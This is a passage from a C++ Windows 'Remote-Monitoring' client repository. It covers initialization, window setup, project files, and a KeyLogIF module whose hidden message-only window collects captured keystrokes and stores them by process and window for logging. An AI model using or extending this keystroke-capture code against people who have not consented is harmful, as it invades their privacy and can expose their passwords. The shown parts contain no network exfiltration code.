_close(iConfigFile); 60 | iConfigFile = 0; 61 | 62 | // copy the config to the global variable 63 | memcpy(&g_ClientConf, &ClientConf, sizeof(CLIENTCONF)); 64 | } else { 65 | // unknown error 66 | } 67 | }// _wsopen_s() 68 | // file found, read the contents into global variable g_ClientConf 69 | else if ((iRetVal = _read(iConfigFile, &g_ClientConf, sizeof(CLIENTCONF))) < 0) { 70 | _close(iConfigFile); 71 | iConfigFile = 0; 72 | ErrorFlag = TRUE; 73 | ErrorCode = E_FILE_READ; 74 | SendMessage(hOwnerWnd, WN_INIT_DONE, ErrorCode, ErrorFlag); 75 | return FALSE; 76 | } 77 | 78 | if (iConfigFile != 0) { 79 | _close(iConfigFile); 80 | iConfigFile = 0; 81 | } 82 | 83 | // create directories 84 | // Plugins directory 85 | if ((iRetVal = CreateDirectory(FP_PLUGINS_DIR, NULL)) == ERROR_PATH_NOT_FOUND) { 86 | ErrorFlag = TRUE; 87 | ErrorCode = E_CREATE_DIR; 88 | SendMessage(hOwnerWnd, WN_INIT_DONE, ErrorCode, ErrorFlag); 89 | return FALSE; 90 | } 91 | 92 | // Temp directory 93 | if ((iRetVal = CreateDirectory(FP_TEMP_DIR, NULL)) == ERROR_PATH_NOT_FOUND) { 94 | ErrorFlag = TRUE; 95 | ErrorCode = E_CREATE_DIR; 96 | SendMessage(hOwnerWnd, WN_INIT_DONE, ErrorCode, ErrorFlag); 97 | return FALSE; 98 | } 99 | 100 | // after initialization, send notification to main window 101 | SendMessage(hOwnerWnd, WN_INIT_DONE, 0, (LPARAM)ErrorFlag); 102 | 103 | return TRUE; 104 | 105 | } -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/StructureSizes.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "ClientInclude.h" 3 | 4 | int ComputeStructSizes() 5 | { 6 | int CPMData; 7 | int SPMData; 8 | int PData; 9 | int KLRTTree, KLFileTransfer, SGFileData; 10 | int iCCMDataSize; 11 | int iSCMDataSize; 12 | 13 | iCCMDataSize = sizeof(CCMDATA); 14 | CPMData = sizeof(CPMDATA); 15 | 16 | iSCMDataSize = sizeof(SCMDATA); 17 | SPMData = sizeof(SPMDATA); 18 | 19 | PData = sizeof(PDATA); 20 | 21 | KLRTTree = sizeof(KLRTTREE); 22 | KLFileTransfer = sizeof(FILE_TRANSFER_DATA); 23 | SGFileData = sizeof(SGFILEDATA); 24 | 25 | return 0; 26 | } -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/WinMain.cpp: -------------------------------------------------------------------------------- 1 | 2 | // * ClientRM project * 3 | // WinMain.cpp: Main header file for the ClientRM exe 4 | 5 | #include "ClientInclude.h" 6 | 7 | HINSTANCE hMainInstance; 8 | HWND hMainWnd; 9 | HWND hMsgOnlyWnd; 10 | 11 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { 12 | MSG MainWndMsg; 13 | WNDCLASS MainWndClass; 14 | WNDCLASS MsgOnlyWndClass; 15 | 16 | WCHAR szAppName[] = L"ClientRM"; 17 | WCHAR szMsgOnlyWndClassName[] = L"ClientRM_MOWndClass"; 18 | 19 | hMainInstance = hInstance; 20 | 21 | int iRetVal; 22 | 23 | // ClientRM UI Window Class 24 | MainWndClass.style = CS_HREDRAW | CS_VREDRAW; 25 | MainWndClass.lpfnWndProc = WndProc; 26 | MainWndClass.cbClsExtra = 0; 27 | MainWndClass.cbWndExtra = 0; 28 | MainWndClass.hInstance = hMainInstance; 29 | MainWndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_APP_ICON)); 30 | MainWndClass.hCursor = LoadCursor(NULL, IDC_ARROW); 31 | MainWndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); 32 | MainWndClass.lpszMenuName = NULL; 33 | MainWndClass.lpszClassName = szAppName; 34 | 35 | if (!RegisterClass(&MainWndClass)) { 36 | iRetVal = GetLastError(); 37 | MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR); 38 | return 0; 39 | } 40 | 41 | // Create the main window 42 | hMainWnd = CreateWindow(szAppName, // class name 43 | szAppName, // caption 44 | WS_CAPTION | 45 | WS_MINIMIZEBOX | 46 | WS_SYSMENU, // window style 47 | CW_USEDEFAULT, // initial X position 48 | CW_USEDEFAULT, // initial Y position 49 | 640, // initial X size 50 | 480, // initial Y size 51 | NULL, // parent window handle 52 | NULL, // window menu handle 53 | hMainInstance, // program instance handle 54 | NULL); 55 | 56 | // exit if window was not created 57 | if (!hMainWnd) { 58 | MessageBox(0, L"Window creation error. Cannot continue.", 0, 0); 59 | return 0; 60 | } 61 | 62 | 63 | // ClientRM message-only window class 64 | MsgOnlyWndClass.style = CS_HREDRAW | CS_VREDRAW; 65 | MsgOnlyWndClass.lpfnWndProc = MsgOnlyWndProc; 66 | MsgOnlyWndClass.cbClsExtra = 0; 67 | MsgOnlyWndClass.cbWndExtra = 0; 68 | MsgOnlyWndClass.hInstance = hMainInstance; 69 | MsgOnlyWndClass.hIcon = NULL; 70 | MsgOnlyWndClass.hCursor = NULL; 71 | MsgOnlyWndClass.hbrBackground = NULL; 72 | MsgOnlyWndClass.lpszMenuName = NULL; 73 | MsgOnlyWndClass.lpszClassName = szMsgOnlyWndClassName; 74 | 75 | if (!RegisterClass(&MsgOnlyWndClass)) { 76 | MessageBox(NULL, TEXT("This program requires Windows NT!"), szAppName, MB_ICONERROR); 77 | return 0; 78 | } 79 | 80 | // Initialize common controls 81 | InitCommonControls(); 82 | 83 | // create the message-only window 84 | hMsgOnlyWnd = CreateWindow(szMsgOnlyWndClassName, 85 | NULL, 86 | WS_CHILD, 87 | CW_USEDEFAULT, 88 | CW_USEDEFAULT, 89 | CW_USEDEFAULT, 90 | CW_USEDEFAULT, 91 | HWND_MESSAGE, 92 | NULL, 93 | hMainInstance, 94 | NULL); 95 | if (!hMsgOnlyWnd) { 96 | iRetVal = GetLastError(); 97 | MessageBox(0, L"Message-only window creation error. Cannot continue.", 0, 0); 98 | return 0; 99 | } 100 | 101 | ShowWindow(hMainWnd, iCmdShow); 102 | UpdateWindow(hMainWnd); 103 | 104 | while (GetMessage(&MainWndMsg, NULL, 0, 0)) { 105 | TranslateMessage(&MainWndMsg); 106 | DispatchMessage(&MainWndMsg); 107 | } 108 | 109 | return MainWndMsg.wParam; 110 | 111 | }//WinMain() -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/icon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srivathsar/Remote-Monitoring/79bbc82a2a6894ce68a9af8c46ac625e9e12597c/ClientRM/ClientRM/ClientRM/icon1.ico -------------------------------------------------------------------------------- /ClientRM/ClientRM/ClientRM/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by ClientRM.rc 4 | // 5 | #define IDI_ICON1 101 6 | #define IDI_APP_ICON 101 7 | 8 | // Next default values for new objects 9 | // 10 | #ifdef APSTUDIO_INVOKED 11 | #ifndef APSTUDIO_READONLY_SYMBOLS 12 | #define _APS_NEXT_RESOURCE_VALUE 102 13 | #define _APS_NEXT_COMMAND_VALUE 40001 14 | #define _APS_NEXT_CONTROL_VALUE 1001 15 | #define _APS_NEXT_SYMED_VALUE 101 16 | #endif 17 | #endif 18 | -------------------------------------------------------------------------------- /ClientRM/FBrowzRM/FBrowzRM/DLLMain.cpp: -------------------------------------------------------------------------------- 1 | 2 | // ** FBrowzRM project ** 3 | // DLLMain.cpp : 4 | 5 | #include "FBIncludes.h" 6 | 7 | 8 | // Global Variables 9 | HINSTANCE g_hInstance; 10 | 11 | 12 | // DllMain() 13 | // -- 14 | BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) { 15 | switch (dwReason) { 16 | 17 | case DLL_PROCESS_ATTACH: 18 | { 19 | g_hInstance = hInst; 20 | return TRUE; // indicate success 21 | } 22 | 23 | case DLL_THREAD_ATTACH: 24 | { 25 | 26 | return TRUE; 27 | } 28 | 29 | case DLL_PROCESS_DETACH: 30 | { 31 | return TRUE; 32 | } 33 | 34 | case DLL_THREAD_DETACH: 35 | { 36 | return TRUE; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /ClientRM/FBrowzRM/FBrowzRM/FBIncludes.h: -------------------------------------------------------------------------------- 1 | 2 | // ** FBrowzRM project ** 3 | // FBIncludes.h : 4 | 5 | #include 6 | #include // InitCommControls() 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include // _write 12 | #include 13 | #include // _getdrives() 14 | 15 | #include "..\..\..\Include\RMDefs.h" 16 | #include "..\..\..\Include\DataStructures.h" 17 | #include "..\..\..\Include\FBrowzRM.h" -------------------------------------------------------------------------------- /ClientRM/FBrowzRM/FBrowzRM/FBrowzRM.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 70 | 73 | 76 | 79 | 82 | 85 | 88 | 91 | 92 | 100 | 103 | 106 | 109 | 112 | 115 | 126 | 129 | 132 | 135 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 167 | 168 | 169 | 170 | 171 | 172 | 177 | 180 | 181 | 184 | 185 | 186 | 191 | 194 | 195 | 198 | 199 | 200 | 205 | 206 | 207 | 208 | 209 | 210 | -------------------------------------------------------------------------------- /ClientRM/FBrowzRM/FBrowzRM/FBrowzRM.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {2C9FC81F-B75B-4E71-9F64-FF9E8825A287} 15 | FBrowzRM 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | DynamicLibrary 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;FBROWZRM_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | MultiThreadedDebugDLL 57 | 58 | 59 | Level3 60 | EditAndContinue 61 | 62 | 63 | comctl32.lib;Ws2_32.lib;%(AdditionalDependencies) 64 | ..\..\..\Debug\$(ProjectName).dll 65 | true 66 | Windows 67 | MachineX86 68 | 69 | 70 | 71 | 72 | MaxSpeed 73 | true 74 | WIN32;NDEBUG;_WINDOWS;_USRDLL;FBROWZRM_EXPORTS;%(PreprocessorDefinitions) 75 | MultiThreadedDLL 76 | true 77 | 78 | 79 | Level3 80 | ProgramDatabase 81 | 82 | 83 | comctl32.lib;Ws2_32.lib;%(AdditionalDependencies) 84 | ..\..\..\Release\$(ProjectName).dll 85 | true 86 | Windows 87 | true 88 | true 89 | MachineX86 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /ClientRM/FBrowzRM/FBrowzRM/FBrowzRM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /ClientRM/ImageGrab/ImageGrab/ImageGrab.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 70 | 73 | 76 | 79 | 82 | 85 | 88 | 91 | 92 | 100 | 103 | 106 | 109 | 112 | 115 | 126 | 129 | 132 | 135 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 167 | 168 | 169 | 170 | 171 | 172 | 177 | 180 | 181 | 182 | 187 | 190 | 191 | 192 | 197 | 198 | 199 | 200 | 201 | 202 | -------------------------------------------------------------------------------- /ClientRM/ImageGrab/ImageGrab/ImageGrab.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {46C0CA1E-60DB-4042-9E2E-D385D3214494} 15 | ImageGrab 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | DynamicLibrary 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;IMAGEGRAB_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | MultiThreadedDebugDLL 57 | 58 | 59 | Level3 60 | EditAndContinue 61 | 62 | 63 | shlwapi.lib;Psapi.lib;%(AdditionalDependencies) 64 | ..\..\..\Debug\$(ProjectName).dll 65 | true 66 | Windows 67 | MachineX86 68 | 69 | 70 | 71 | 72 | MaxSpeed 73 | true 74 | WIN32;NDEBUG;_WINDOWS;_USRDLL;IMAGEGRAB_EXPORTS;%(PreprocessorDefinitions) 75 | MultiThreadedDLL 76 | true 77 | 78 | 79 | Level3 80 | ProgramDatabase 81 | 82 | 83 | shlwapi.lib;Psapi.lib;%(AdditionalDependencies) 84 | ..\..\..\Release\$(ProjectName).dll 85 | true 86 | Windows 87 | true 88 | true 89 | MachineX86 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | -------------------------------------------------------------------------------- /ClientRM/ImageGrab/ImageGrab/ImageGrab.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /ClientRM/ImgGrbIt/ImgGrbIt/ImgGrbIt.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 69 | 72 | 75 | 78 | 81 | 84 | 87 | 90 | 91 | 99 | 102 | 105 | 108 | 111 | 114 | 125 | 128 | 131 | 134 | 144 | 147 | 150 | 153 | 156 | 159 | 162 | 165 | 166 | 167 | 168 | 169 | 170 | 175 | 178 | 179 | 180 | 185 | 188 | 189 | 190 | 195 | 196 | 197 | 198 | 199 | 200 | -------------------------------------------------------------------------------- /ClientRM/ImgGrbIt/ImgGrbIt/ImgGrbIt.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {29D9ACA9-FF2B-41D1-855F-CE942B38117A} 15 | ImgGrbIt 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | DynamicLibrary 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;IMGGRBIT_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | MultiThreadedDebugDLL 57 | 58 | 59 | Level3 60 | EditAndContinue 61 | 62 | 63 | ..\..\..\Debug\$(ProjectName).dll 64 | true 65 | Windows 66 | MachineX86 67 | 68 | 69 | 70 | 71 | MaxSpeed 72 | true 73 | WIN32;NDEBUG;_WINDOWS;_USRDLL;IMGGRBIT_EXPORTS;%(PreprocessorDefinitions) 74 | MultiThreadedDLL 75 | true 76 | 77 | 78 | Level3 79 | ProgramDatabase 80 | 81 | 82 | ..\..\..\Release\$(ProjectName).dll 83 | true 84 | Windows 85 | true 86 | true 87 | MachineX86 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | {46c0ca1e-60db-4042-9e2e-d385d3214494} 99 | false 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /ClientRM/ImgGrbIt/ImgGrbIt/ImgGrbIt.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/HiddenWindow.cpp: -------------------------------------------------------------------------------- 1 | //** Running in the CreateHiddenWindow Thread. 2 | //** Hidden Window is created just to receive msgs. 3 | //** Needed to capture WM_COPYDATA msg. 4 | 5 | #include "..\..\..\Include\Keylog.h" 6 | 7 | extern BOOL fWindowCreated; 8 | PCOPYDATASTRUCT pMyCDS; 9 | HWND hWnd; 10 | 11 | DWORD WINAPI CreateHiddenWindow(HINSTANCE hInstance) { 12 | fWindowCreated = TRUE; 13 | 14 | HINSTANCE hDllInstance = (HINSTANCE)hInstance; 15 | 16 | MSG Msg; 17 | WNDCLASSEX wcex; 18 | 19 | wcex.cbSize = sizeof(WNDCLASSEX); 20 | wcex.style = CS_HREDRAW | CS_VREDRAW; 21 | wcex.lpfnWndProc = WndProc; 22 | wcex.cbClsExtra = 0; 23 | wcex.cbWndExtra = 0; 24 | wcex.hInstance = hDllInstance; 25 | wcex.hbrBackground = NULL; 26 | wcex.lpszMenuName = NULL; 27 | wcex.hIcon = NULL; 28 | wcex.hCursor = NULL; 29 | wcex.lpszClassName = KLIF_WND_CLASS_NAME; 30 | wcex.hIconSm = NULL; 31 | 32 | if (!RegisterClassEx(&wcex)) { 33 | MessageBox(NULL, TEXT("This program requires Windows NT"), TEXT("Error!"), MB_ICONERROR); 34 | return(FALSE); 35 | } 36 | 37 | hWnd = CreateWindowEx( 38 | 0, 39 | KLIF_WND_CLASS_NAME, KLIF_WND_TITLE, 40 | WS_CHILD, 41 | CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, 42 | HWND_MESSAGE, 43 | NULL, 44 | hDllInstance, 45 | NULL 46 | ); 47 | 48 | if (hWnd == NULL) { 49 | MessageBox(NULL, TEXT("Could not create window"), TEXT("Key Logger"), MB_ICONERROR); 50 | return(FALSE); 51 | } 52 | 53 | UpdateWindow(hWnd); 54 | 55 | while (GetMessage(&Msg, NULL, 0, 0)) { 56 | TranslateMessage(&Msg); 57 | DispatchMessage(&Msg); 58 | } 59 | return TRUE; 60 | } 61 | 62 | LRESULT WINAPI WndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { 63 | switch (uMsg) { 64 | case WM_CREATE: 65 | return 0; 66 | 67 | case WM_DESTROY: 68 | PostQuitMessage(0); 69 | return 0; 70 | 71 | case WM_COPYDATA: 72 | { 73 | pMyCDS = (PCOPYDATASTRUCT)lParam; 74 | 75 | switch (pMyCDS->dwData) { 76 | case KL_TEMP_LINKLIST_DATA: 77 | CopyofWMCopyData(((KLTEMPDATA *)(pMyCDS->lpData))); 78 | break; 79 | } 80 | return 0; 81 | } 82 | } 83 | 84 | return DefWindowProc(hWnd, uMsg, wParam, lParam); 85 | } 86 | 87 | BOOL CopyofWMCopyData(KLTEMPDATA *pCopyData) { 88 | LPDWORD lpBuildTreeThreadID = NULL; 89 | KLTEMPDATA *pLocalCopy = NULL; 90 | 91 | pLocalCopy = (KLTEMPDATA *)malloc(sizeof(KLTEMPDATA)); 92 | if (pLocalCopy == NULL) 93 | return FALSE; 94 | 95 | memcpy(pLocalCopy, pCopyData, sizeof(KLTEMPDATA)); 96 | pLocalCopy->pNextLink = NULL; 97 | 98 | BuildKLTree(pLocalCopy); 99 | 100 | free(pLocalCopy); 101 | 102 | return TRUE; 103 | } 104 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/KLTree.cpp: -------------------------------------------------------------------------------- 1 | //** Running in the CreateHiddenWindow Thread. 2 | 3 | #include "..\..\..\Include\Keylog.h" 4 | 5 | extern CRITICAL_SECTION csKLTree; // init?? 6 | extern HANDLE hUpdateLogFileEvent; 7 | KLIFLINKLIST *pRoot; 8 | 9 | BOOL BuildKLTree(KLTEMPDATA *pTempStruct) { 10 | KLIFLINKLIST *pCurNode = NULL; 11 | KLIFLINKLIST *pCurNodeCopy = NULL; 12 | 13 | KLIFLINKLIST *pCurProcessNode = NULL; 14 | KLIFLINKLIST *pCurProcessNodeCopy = NULL; 15 | 16 | KLIFLINKLIST *pNewNode = NULL; 17 | 18 | int iRetVal = 0; 19 | BOOL FuncRetVal = FALSE; 20 | BOOL fEvent = FALSE; 21 | BOOL fHandleMatch = FALSE; 22 | BOOL fProcessMatch = FALSE; 23 | 24 | EnterCriticalSection(&csKLTree); 25 | __try { 26 | if (pRoot == NULL) { 27 | pNewNode = (KLIFLINKLIST *)malloc(sizeof(KLIFLINKLIST)); 28 | if (pNewNode == NULL) 29 | return FALSE; 30 | 31 | FuncRetVal = FillKLTreeData(pNewNode, pTempStruct); 32 | if (FuncRetVal == FALSE) 33 | return FALSE; 34 | 35 | pRoot = pNewNode; 36 | 37 | // finish.. goto next pTempStruct 38 | return TRUE; 39 | } 40 | 41 | // else part.. At-least 1 process node is present.. 42 | pCurProcessNode = pRoot; 43 | 44 | // traverse throgh the process nodes.. i.e., root nodes and its sibling nodes.. 45 | while (pCurProcessNode != NULL) { 46 | // Check for a Matching Process node.. 47 | if ((iRetVal = wcscmp(pTempStruct->ProcessData.wszEXEName, pCurProcessNode->ProcessData.wszEXEName)) == 0) 48 | if (pTempStruct->ProcessData.stStartTime.wHour == pCurProcessNode->ProcessData.stStartTime.wHour && 49 | pTempStruct->ProcessData.stStartTime.wMinute == pCurProcessNode->ProcessData.stStartTime.wMinute && 50 | pTempStruct->ProcessData.stStartTime.wSecond == pCurProcessNode->ProcessData.stStartTime.wSecond && 51 | pTempStruct->ProcessData.stStartTime.wMilliseconds == pCurProcessNode->ProcessData.stStartTime.wMilliseconds) { 52 | // if Match is found.. break out of the while loop.. 53 | // now, pCurProcessNode 'll be pointing to the Matched Process Node.. 54 | fProcessMatch = TRUE; 55 | break; 56 | } 57 | // now, pCurProcessNodeCopy 'll be pointing to the last Process Node.. useful in case no Match is found.. 58 | pCurProcessNodeCopy = pCurProcessNode; 59 | pCurProcessNode = pCurProcessNode->pSiblingLink; 60 | } 61 | 62 | // no processes matched.. 63 | if (fProcessMatch == FALSE) { 64 | // add new process.. 65 | pNewNode = (KLIFLINKLIST *)malloc(sizeof(KLIFLINKLIST)); 66 | if (pNewNode == NULL) 67 | return FALSE; 68 | 69 | FuncRetVal = FillKLTreeData(pNewNode, pTempStruct); 70 | if (FuncRetVal == FALSE) 71 | return FALSE; 72 | // attach the new node to the last process node.. pointed by pCurProcessNodeCopy.. 73 | pCurProcessNodeCopy->pSiblingLink = pNewNode; 74 | // finish.. goto next pTempStruct 75 | return TRUE; 76 | } 77 | 78 | // a Match is found.. i.e., the control comes here if fProcessMatch = TRUE .. 79 | 80 | pCurNode = pCurProcessNode; 81 | while (pCurNode != NULL) { 82 | if (pTempStruct->WndCount == pCurNode->WndCount) { 83 | if (pCurNode->KeysBufferLength >= MAX_KEYS_WRITE_INIT) { 84 | fEvent = SetEvent(hUpdateLogFileEvent); 85 | if (fEvent == FALSE) 86 | return FALSE; 87 | } 88 | if (pTempStruct->KLWndData[0].hWnd == pCurNode->KLWndData[0].hWnd) { 89 | fHandleMatch = TRUE; 90 | 91 | wcscat_s(pCurNode->Keys, MAX_KLIF_KEYS, pTempStruct->Keys); 92 | pCurNode->KeysBufferLength = wcslen(pCurNode->Keys); 93 | pCurNode->KeyCount += pTempStruct->KeyCount; 94 | // finish.. goto next pTempStruct 95 | break; 96 | } 97 | } 98 | // now, pCurNodeCopy 'll be pointing to the last Handle Node.. useful in case no Match is found.. 99 | pCurNodeCopy = pCurNode; 100 | pCurNode = pCurNode->pNextLink; 101 | } // End of while() 102 | 103 | // Handle not matched.. Create new node.. 104 | if (fHandleMatch == FALSE) { 105 | pNewNode = (KLIFLINKLIST *)malloc(sizeof(KLIFLINKLIST)); 106 | if (pNewNode == NULL) 107 | return FALSE; 108 | 109 | // copy the pTempStruct data to the new node.. 110 | FuncRetVal = FillKLTreeData(pNewNode, pTempStruct); 111 | if (FuncRetVal == FALSE) 112 | return FALSE; 113 | 114 | // attach the new node to the last node.. pointed by pCurNode.. 115 | pCurNodeCopy->pNextLink = pNewNode; 116 | } 117 | 118 | return TRUE; 119 | } 120 | __finally { 121 | LeaveCriticalSection(&csKLTree); 122 | } 123 | } 124 | 125 | BOOL FillKLTreeData(KLIFLINKLIST *pNewNode, KLTEMPDATA *pTempStruct) { 126 | pNewNode->KeyCount = pTempStruct->KeyCount; 127 | pNewNode->KeysBufferLength = pTempStruct->KeysBufferLength; 128 | wcscpy_s(pNewNode->Keys, MAX_KLIF_KEYS, pTempStruct->Keys); 129 | pNewNode->WndCount = pTempStruct->WndCount; 130 | memcpy(pNewNode->KLWndData, pTempStruct->KLWndData, sizeof(pTempStruct->KLWndData)); 131 | memcpy(&pNewNode->ProcessData, &pTempStruct->ProcessData, sizeof(KLPROCESSDATA)); 132 | 133 | pNewNode->pSiblingLink = NULL; 134 | pNewNode->pNextLink = NULL; 135 | 136 | return TRUE; 137 | } 138 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/KeyLogIF.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 69 | 72 | 75 | 78 | 81 | 84 | 87 | 90 | 91 | 99 | 102 | 105 | 108 | 111 | 114 | 125 | 128 | 131 | 134 | 144 | 147 | 150 | 153 | 156 | 159 | 162 | 165 | 166 | 167 | 168 | 169 | 170 | 175 | 178 | 179 | 182 | 183 | 186 | 187 | 190 | 191 | 194 | 195 | 196 | 201 | 204 | 205 | 206 | 211 | 212 | 213 | 214 | 215 | 216 | -------------------------------------------------------------------------------- /ClientRM/KeyLogIF/KeyLogIF/KeyLogIF.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {EBDB911F-7DD7-47BB-8750-0EC9385EFF4C} 15 | KeyLogIF 16 | Win32Proj 17 | 10.0.16299.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | Unicode 23 | true 24 | v141 25 | 26 | 27 | DynamicLibrary 28 | Unicode 29 | v141 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | <_ProjectFileVersion>10.0.30319.1 43 | $(SolutionDir)$(Configuration)\ 44 | $(Configuration)\ 45 | true 46 | $(SolutionDir)$(Configuration)\ 47 | $(Configuration)\ 48 | false 49 | 50 | 51 | 52 | Disabled 53 | WIN32;_DEBUG;_WINDOWS;_USRDLL;KEYLOGIF_EXPORTS;%(PreprocessorDefinitions) 54 | true 55 | EnableFastChecks 56 | MultiThreadedDebugDLL 57 | 58 | 59 | Level3 60 | EditAndContinue 61 | 62 | 63 | ..\..\..\Debug\$(ProjectName).dll 64 | true 65 | Windows 66 | MachineX86 67 | 68 | 69 | 70 | 71 | MaxSpeed 72 | true 73 | 